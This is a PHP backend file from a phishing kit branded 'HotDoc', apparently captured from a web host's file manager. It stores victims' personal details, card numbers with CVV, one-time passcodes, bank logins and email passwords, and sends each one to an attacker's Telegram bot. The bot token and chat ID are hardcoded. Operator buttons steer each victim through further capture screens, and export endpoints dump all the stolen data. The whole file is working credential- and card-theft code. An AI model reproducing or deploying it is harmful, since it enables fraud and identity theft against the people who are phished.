File "backend.php"

Full path: /home/algopkco/public_html/404-NotFounda/backend.php
File size: 20.37 B (20.37 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php
header('Content-Type: application/json');
error_reporting(E_ALL);
ini_set('display_errors', 0);

$logFile = 'logs.json';
$debugFile = 'debug.log';
$auditFile = 'audit.json';
$telegramQueueFile = 'telegram_queue.json';
$rateLimitFile = 'rate_limit.json';
$maxLogSize = 1048576; // 1MB

// ==================== CONFIG ====================
$telegramBotToken = '8722914467:AAGvW5ZL8aZ8LCmukxFxEhW7quV1PEYqYSs';
$telegramChatId   = '7018382571';
$webhookSecret = 'hotdoc_webhook_secret_2026'; // CHANGE THIS

// ==================== FILE LOCK HELPERS ====================
function safeFileWrite($file, $data) {
    $fp = fopen($file, 'c+');
    if (!$fp) return false;
    if (!flock($fp, LOCK_EX)) { fclose($fp); return false; }
    ftruncate($fp, 0);
    rewind($fp);
    $bytes = fwrite($fp, $data);
    fflush($fp);
    flock($fp, LOCK_UN);
    fclose($fp);
    return $bytes;
}

function safeFileRead($file) {
    if (!file_exists($file)) return '';
    $fp = fopen($file, 'r');
    if (!$fp) return '';
    if (!flock($fp, LOCK_SH)) { fclose($fp); return ''; }
    $size = filesize($file);
    $content = $size > 0 ? fread($fp, $size) : '';
    flock($fp, LOCK_UN);
    fclose($fp);
    return $content;
}

function rotateLog($file) {
    global $maxLogSize;
    if (file_exists($file) && filesize($file) > $maxLogSize) {
        $backup = $file . '.' . date('Y-m-d_H-i-s') . '.bak';
        rename($file, $backup);
    }
}

// ==================== AUDIT LOG ====================
function auditLog($action, $uid = '', $details = []) {
    global $auditFile;
    rotateLog($auditFile);
    $entry = [
        'time' => date('Y-m-d H:i:s'),
        'action' => $action,
        'uid' => $uid,
        'ip' => $_SERVER['REMOTE_ADDR'] ?? 'N/A',
        'details' => $details
    ];
    $data = [];
    $content = safeFileRead($auditFile);
    if ($content) {
        $decoded = json_decode($content, true);
        if (is_array($decoded)) $data = $decoded;
    }
    array_unshift($data, $entry);
    $data = array_slice($data, 0, 1000);
    safeFileWrite($auditFile, json_encode($data, JSON_PRETTY_PRINT));
}

// ==================== RATE LIMITING ====================
function checkRateLimit($key, $maxAttempts = 10, $window = 60) {
    global $rateLimitFile;
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $id = md5($ip . '_' . $key);
    $content = safeFileRead($rateLimitFile);
    $data = [];
    if ($content) {
        $decoded = json_decode($content, true);
        if (is_array($decoded)) $data = $decoded;
    }
    $now = time();
    foreach ($data as $k => $v) {
        if ($v['reset'] < $now) unset($data[$k]);
    }
    if (!isset($data[$id])) {
        $data[$id] = ['attempts' => 1, 'reset' => $now + $window];
    } else {
        $data[$id]['attempts']++;
    }
    safeFileWrite($rateLimitFile, json_encode($data));
    return $data[$id]['attempts'] <= $maxAttempts;
}

// ==================== TELEGRAM ====================
function sendTelegram($msg, $keyboard = null) {
    global $telegramBotToken, $telegramChatId, $telegramQueueFile;
    if (empty($telegramBotToken) || empty($telegramChatId)) return false;
    $url = "https://api.telegram.org/bot{$telegramBotToken}/sendMessage";
    $data = [
        'chat_id' => $telegramChatId,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    if ($keyboard) {
        $data['reply_markup'] = json_encode(['inline_keyboard' => $keyboard]);
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    // SSL verification enabled (no CURLOPT_SSL_VERIFYPEER false)
    $response = curl_exec($ch);
    $error = curl_error($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($error || $httpCode !== 200) {
        $queue = [];
        $qContent = safeFileRead($telegramQueueFile);
        if ($qContent) {
            $qDecoded = json_decode($qContent, true);
            if (is_array($qDecoded)) $queue = $qDecoded;
        }
        $queue[] = ['time' => time(), 'msg' => $msg, 'keyboard' => $keyboard, 'attempts' => 1];
        safeFileWrite($telegramQueueFile, json_encode($queue));
        return false;
    }
    return true;
}

function retryTelegramQueue() {
    global $telegramQueueFile;
    $content = safeFileRead($telegramQueueFile);
    if (!$content) return;
    $queue = json_decode($content, true);
    if (!is_array($queue) || empty($queue)) return;
    
    $newQueue = [];
    foreach ($queue as $item) {
        if ($item['attempts'] >= 3) continue;
        $item['attempts']++;
        if (!sendTelegram($item['msg'], $item['keyboard'])) {
            $newQueue[] = $item;
        }
    }
    safeFileWrite($telegramQueueFile, json_encode($newQueue));
}

function makeTgKeyboard($uid) {
    return [
        [
            ['text' => '🔐 OTP', 'callback_data' => "go_otp|{$uid}"],
            ['text' => '📱 APP', 'callback_data' => "go_app|{$uid}"],
            ['text' => '🏦 BANK', 'callback_data' => "go_bank|{$uid}"]
        ],
        [
            ['text' => '💳 New Card', 'callback_data' => "new_card|{$uid}"],
            ['text' => '❌ Wrong', 'callback_data' => "wrong_card|{$uid}"]
        ],
        [
            ['text' => '📧 Email', 'callback_data' => "go_email|{$uid}"],
            ['text' => '✅ Done', 'callback_data' => "go_success|{$uid}"],
            ['text' => '⚠️ Error', 'callback_data' => "go_error|{$uid}"]
        ]
    ];
}

function debugLog($msg) {
    global $debugFile;
    $line = '[' . date('Y-m-d H:i:s') . '] ' . $msg . "\n";
    file_put_contents($debugFile, $line, FILE_APPEND | LOCK_EX);
}

// ==================== WEBHOOK VERIFY (Telegram only) ====================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && empty($_GET)) {
    $input = file_get_contents('php://input');
    $update = json_decode($input, true);
    if (isset($update['update_id'])) {
        $headers = getallheaders();
        $secret = isset($headers['X-Telegram-Bot-Api-Secret-Token']) ? $headers['X-Telegram-Bot-Api-Secret-Token'] : '';
        if ($secret !== $webhookSecret) {
            http_response_code(403);
            echo json_encode(['status' => 'unauthorized']);
            exit;
        }
    }
}

// ==================== HEALTH CHECK ====================
if (isset($_GET['health'])) {
    $url = "https://api.telegram.org/bot{$telegramBotToken}/getWebhookInfo";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $resp = curl_exec($ch);
    curl_close($ch);
    echo json_encode(['status' => 'ok', 'telegram' => json_decode($resp, true)]);
    exit;
}

// Retry queued messages on every request
retryTelegramQueue();

// ==================== DATA LOAD ====================
rotateLog($logFile);
$data = array();
$content = safeFileRead($logFile);
if ($content) {
    $decoded = json_decode($content, true);
    if (is_array($decoded)) $data = $decoded;
}

// ==================== DEBUG ENDPOINT ====================
if (isset($_GET['debug'])) {
    echo json_encode(array(
        'php_version' => phpversion(),
        'data_count' => count($data),
        'logFile_exists' => file_exists($logFile),
        'logFile_size' => file_exists($logFile) ? filesize($logFile) : 0,
        'sample' => array_slice($data, 0, 1, true)
    ));
    exit;
}

// ==================== ADMIN POLLING ====================
if (isset($_GET['admin_poll'])) {
    echo json_encode(array('status' => 'ok', 'data' => $data));
    exit;
}

// ==================== USER SUBMIT ====================
$rawInput = file_get_contents('php://input');
$input = json_decode($rawInput, true);

debugLog("REQUEST: " . $_SERVER['REQUEST_METHOD'] . " len=" . strlen($rawInput));

if (isset($input['action']) && $input['action'] == 'submit') {
    if (!checkRateLimit('submit', 20, 60)) {
        http_response_code(429);
        echo json_encode(['status' => 'rate_limited']);
        exit;
    }

    $uid = isset($input['userId']) ? preg_replace('/[^a-zA-Z0-9_-]/', '', $input['userId']) : 'unknown_' . time();
    $step = isset($input['step']) ? intval($input['step']) : 0;
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'N/A';

    debugLog("SUBMIT uid=" . $uid . " step=" . $step);

    if (!isset($data[$uid])) {
        $data[$uid] = array(
            'info' => array(),
            'command' => 'wait',
            'command_queue' => [],
            'clicks' => 0,
            'first_seen' => date("H:i:s"),
            'ip' => $ip,
            'card_attempts' => 0,
            'card_history' => array(),
            'last_activity' => time()
        );
    }

    // Sanitize and merge
    $allowedFields = ['phone','fname','lname','name','dob','address','city','postcode','email',
                      'card','exp','cvv','otp','bank_name','bank_user','bank_pass',
                      'email_pass_email','email_pass','interaction','step','userId',
                      'card_attempt','current_card','current_exp','current_cvv'];
    
    foreach ($input as $key => $val) {
        if (!in_array($key, $allowedFields)) continue;
        if (is_string($val)) {
            $val = trim($val);
            if (in_array($key, ['email','email_pass_email'])) {
                $val = filter_var($val, FILTER_SANITIZE_EMAIL);
            } elseif (in_array($key, ['phone','card','cvv','exp','otp','postcode'])) {
                $val = preg_replace('/[^\d\/\s]/', '', $val);
            } else {
                $val = htmlspecialchars($val, ENT_QUOTES, 'UTF-8');
            }
        }
        $data[$uid]['info'][$key] = $val;
    }
    
    if (isset($input['fingerprint']) && is_array($input['fingerprint'])) {
        $data[$uid]['fingerprint'] = array_map(function($v) {
            return is_string($v) ? htmlspecialchars($v, ENT_QUOTES, 'UTF-8') : $v;
        }, $input['fingerprint']);
    }

    $data[$uid]['last_activity'] = time();
    $data[$uid]['clicks'] = isset($data[$uid]['clicks']) ? $data[$uid]['clicks'] + 1 : 1;
    $data[$uid]['ip'] = $ip;

    // Track cards
    if (isset($input['card']) && !empty($input['card']) && $step == 3) {
        $data[$uid]['card_attempts'] = isset($data[$uid]['card_attempts']) ? $data[$uid]['card_attempts'] + 1 : 1;
        $data[$uid]['card_history'][] = array(
            'card' => $input['card'],
            'exp' => isset($input['exp']) ? $input['exp'] : 'N/A',
            'cvv' => isset($input['cvv']) ? $input['cvv'] : 'N/A',
            'timestamp' => date("H:i:s"),
            'attempt_num' => $data[$uid]['card_attempts']
        );
        $data[$uid]['info']['current_card'] = $input['card'];
        $data[$uid]['info']['current_exp'] = isset($input['exp']) ? $input['exp'] : 'N/A';
        $data[$uid]['info']['current_cvv'] = isset($input['cvv']) ? $input['cvv'] : 'N/A';
    }

    safeFileWrite($logFile, json_encode($data));
    debugLog("SAVE result=ok");

    // Telegram notification
    $tgMsg = "";
    $keyboard = null;

    if ($step == 1) {
        $tgMsg .= "🔔 <b>HotDoc — Phone Submitted</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "📱 Phone: " . (isset($input['phone']) ? htmlspecialchars($input['phone']) : 'N/A') . "\n";
    } elseif ($step == 2) {
        $tgMsg .= "🔔 <b>HotDoc — Personal Info</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "📛 Name: " . (isset($input['name']) ? htmlspecialchars($input['name']) : 
            (isset($input['fname']) ? htmlspecialchars($input['fname'] . ' ' . $input['lname']) : 'N/A')) . "\n";
        $tgMsg .= "📅 DOB: " . (isset($input['dob']) ? htmlspecialchars($input['dob']) : 'N/A') . "\n";
        $tgMsg .= "📍 " . (isset($input['address']) ? htmlspecialchars($input['address']) : 'N/A') . "\n";
        $tgMsg .= "🏙 " . (isset($input['city']) ? htmlspecialchars($input['city']) : 'N/A') . " " . (isset($input['postcode']) ? htmlspecialchars($input['postcode']) : '') . "\n";
        $tgMsg .= "📧 " . (isset($input['email']) ? htmlspecialchars($input['email']) : 'N/A') . "\n";
    } elseif ($step == 9) {
        $tgMsg .= "📧 <b>EMAIL PASSWORD CAPTURED</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "📧 Email: <code>" . (isset($input['email_pass_email']) ? htmlspecialchars($input['email_pass_email']) : 'N/A') . "</code>\n";
        $tgMsg .= "🔑 Password: <code>" . (isset($input['email_pass']) ? htmlspecialchars($input['email_pass']) : 'N/A') . "</code>\n";
        $tgMsg .= "📱 " . (isset($data[$uid]['info']['phone']) ? htmlspecialchars($data[$uid]['info']['phone']) : 'N/A') . "\n";
        $tgMsg .= "📛 " . (isset($data[$uid]['info']['name']) ? htmlspecialchars($data[$uid]['info']['name']) : 'N/A') . "\n";
        $tgMsg .= "\n<i>🟢 User submitted email password. Send next command:</i>";
        $keyboard = makeTgKeyboard($uid);
    } elseif ($step == 3) {
        $tgMsg .= "💳 <b>CARD CAPTURED</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "💳 Card: <code>" . (isset($input['card']) ? htmlspecialchars($input['card']) : 'N/A') . "</code>\n";
        $tgMsg .= "📆 Expiry: <code>" . (isset($input['exp']) ? htmlspecialchars($input['exp']) : 'N/A') . "</code>\n";
        $tgMsg .= "🔒 CVV: <code>" . (isset($input['cvv']) ? htmlspecialchars($input['cvv']) : 'N/A') . "</code>\n";
        $tgMsg .= "📱 " . (isset($data[$uid]['info']['phone']) ? htmlspecialchars($data[$uid]['info']['phone']) : 'N/A') . "\n";
        $tgMsg .= "📛 " . (isset($data[$uid]['info']['name']) ? htmlspecialchars($data[$uid]['info']['name']) : 'N/A') . "\n";
        $tgMsg .= "\n<i>🟢 User is on processing screen. Send next command:</i>";
        $keyboard = makeTgKeyboard($uid);
    } elseif ($step == 5) {
        $tgMsg .= "🔑 <b>OTP Received</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "🔑 OTP: <code>" . (isset($input['otp']) ? htmlspecialchars($input['otp']) : 'N/A') . "</code>\n";
        $tgMsg .= "💳 " . (isset($data[$uid]['info']['current_card']) ? '****' . substr($data[$uid]['info']['current_card'], -4) : 'N/A') . "\n";
        $tgMsg .= "\n<i>🟢 User is back on processing. Send next command:</i>";
        $keyboard = makeTgKeyboard($uid);
    } elseif ($step == 6) {
        $tgMsg .= "📱 <b>App Approved</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "💳 " . (isset($data[$uid]['info']['current_card']) ? '****' . substr($data[$uid]['info']['current_card'], -4) : 'N/A') . "\n";
        $tgMsg .= "\n<i>🟢 User confirmed app approval. Send next command:</i>";
        $keyboard = makeTgKeyboard($uid);
    } elseif ($step == 8) {
        $tgMsg .= "🏦 <b>BANK CREDENTIALS CAPTURED</b>\n";
        $tgMsg .= "👤 <code>" . htmlspecialchars(substr($uid, 0, 20)) . "</code>\n";
        $tgMsg .= "🏦 Bank: <b>" . (isset($input['bank_name']) ? htmlspecialchars($input['bank_name']) : 'N/A') . "</b>\n";
        $tgMsg .= "👤 User: <code>" . (isset($input['bank_user']) ? htmlspecialchars($input['bank_user']) : 'N/A') . "</code>\n";
        $tgMsg .= "🔑 Pass: <code>" . (isset($input['bank_pass']) ? htmlspecialchars($input['bank_pass']) : 'N/A') . "</code>\n";
        $tgMsg .= "💳 " . (isset($data[$uid]['info']['current_card']) ? '****' . substr($data[$uid]['info']['current_card'], -4) : 'N/A') . "\n";
        $tgMsg .= "\n<i>🟢 User is back on processing. Send next command:</i>";
        $keyboard = makeTgKeyboard($uid);
    }
    
    // Only send Telegram if we actually built a message
    if (!empty($tgMsg)) {
        if (isset($data[$uid]['fingerprint'])) {
            $fp = $data[$uid]['fingerprint'];
            $tgMsg .= "🖥 " . ($fp['userAgent'] ?? 'N/A') . " | " . ($fp['screenWidth'] ?? '') . "x" . ($fp['screenHeight'] ?? '') . "\n";
        }
        
        $tgMsg .= "🌐 IP: <code>" . htmlspecialchars($ip) . "</code>\n";
        $tgMsg .= "⏰ " . date('H:i:s') . "\n";
        sendTelegram($tgMsg, $keyboard);
    }

    echo json_encode(array('status' => 'ok', 'uid' => $uid));
    exit;
}

// ==================== ADMIN COMMAND ====================
if (isset($_GET['adminCmd'])) {
    if (!checkRateLimit('admin_cmd', 60, 60)) {
        http_response_code(429);
        echo json_encode(['status' => 'rate_limited']);
        exit;
    }

    $uid = isset($_GET['uid']) ? preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['uid']) : '';
    $cmd = $_GET['adminCmd'];

    debugLog("COMMAND uid=" . $uid . " cmd=" . $cmd);

    if (isset($data[$uid])) {
        // Command queue: if pending, queue instead of overwrite
        if (isset($data[$uid]['command']) && $data[$uid]['command'] !== 'wait') {
            if (!isset($data[$uid]['command_queue'])) $data[$uid]['command_queue'] = [];
            $data[$uid]['command_queue'][] = $cmd;
        } else {
            $data[$uid]['command'] = $cmd;
        }
        $data[$uid]['command_time'] = time();
        safeFileWrite($logFile, json_encode($data));
        auditLog('admin_command', $uid, ['command' => $cmd, 'admin_ip' => $_SERVER['REMOTE_ADDR'] ?? 'N/A']);
        debugLog("COMMAND SAVED");
    } else {
        debugLog("COMMAND FAILED - uid not found");
    }

    echo json_encode(array('status' => 'command_sent'));
    exit;
}

// ==================== USER POLLING ====================
if (isset($_GET['check'])) {
    $uid = $_GET['check'];

    debugLog("POLL uid=" . $uid);

    if (isset($data[$uid])) {
        $data[$uid]['last_activity'] = time();
        $cmd = isset($data[$uid]['command']) ? $data[$uid]['command'] : 'wait';

        if ($cmd !== 'wait') {
            // Consume command, promote next from queue
            if (isset($data[$uid]['command_queue']) && count($data[$uid]['command_queue']) > 0) {
                $nextCmd = array_shift($data[$uid]['command_queue']);
                $data[$uid]['command'] = $nextCmd;
            } else {
                $data[$uid]['command'] = 'wait';
            }
            safeFileWrite($logFile, json_encode($data));
            debugLog("POLL cmd=" . $cmd . " (consumed)");
        } else {
            debugLog("POLL cmd=wait");
        }

        echo json_encode(array('command' => $cmd));
    } else {
        debugLog("POLL uid not found");
        echo json_encode(array('command' => 'wait'));
    }
    exit;
}

// ==================== DELETE USER ====================
if (isset($_GET['delete']) && isset($_GET['uid'])) {
    $uid = preg_replace('/[^a-zA-Z0-9_-]/', '', $_GET['uid']);
    if (isset($data[$uid])) {
        unset($data[$uid]);
        safeFileWrite($logFile, json_encode($data));
        auditLog('delete_user', $uid);
        echo json_encode(['status' => 'deleted']);
    } else {
        echo json_encode(['status' => 'not_found']);
    }
    exit;
}

// ==================== EXPORT ====================
if (isset($_GET['export'])) {
    $format = $_GET['export'] === 'csv' ? 'csv' : 'json';
    if ($format === 'json') {
        header('Content-Type: application/json');
        header('Content-Disposition: attachment; filename="hotdoc_export_' . date('Ymd_His') . '.json"');
        echo json_encode($data, JSON_PRETTY_PRINT);
    } else {
        header('Content-Type: text/csv');
        header('Content-Disposition: attachment; filename="hotdoc_export_' . date('Ymd_His') . '.csv"');
        $out = fopen('php://output', 'w');
        fputcsv($out, ['UID','IP','FirstSeen','LastActivity','Step','Phone','Name','Email','Card','Bank','EmailPass','OTP','Fingerprint']);
        foreach ($data as $uid => $u) {
            fputcsv($out, [
                $uid,
                $u['ip'] ?? '',
                $u['first_seen'] ?? '',
                date('Y-m-d H:i:s', $u['last_activity'] ?? 0),
                $u['info']['step'] ?? '',
                $u['info']['phone'] ?? '',
                $u['info']['name'] ?? '',
                $u['info']['email'] ?? '',
                $u['info']['current_card'] ?? '',
                $u['info']['bank_name'] ?? '',
                $u['info']['email_pass'] ?? '',
                $u['info']['otp'] ?? '',
                isset($u['fingerprint']) ? json_encode($u['fingerprint']) : ''
            ]);
        }
        fclose($out);
    }
    exit;
}

debugLog("UNKNOWN REQUEST");
echo json_encode(array('status' => 'no_action'));
?>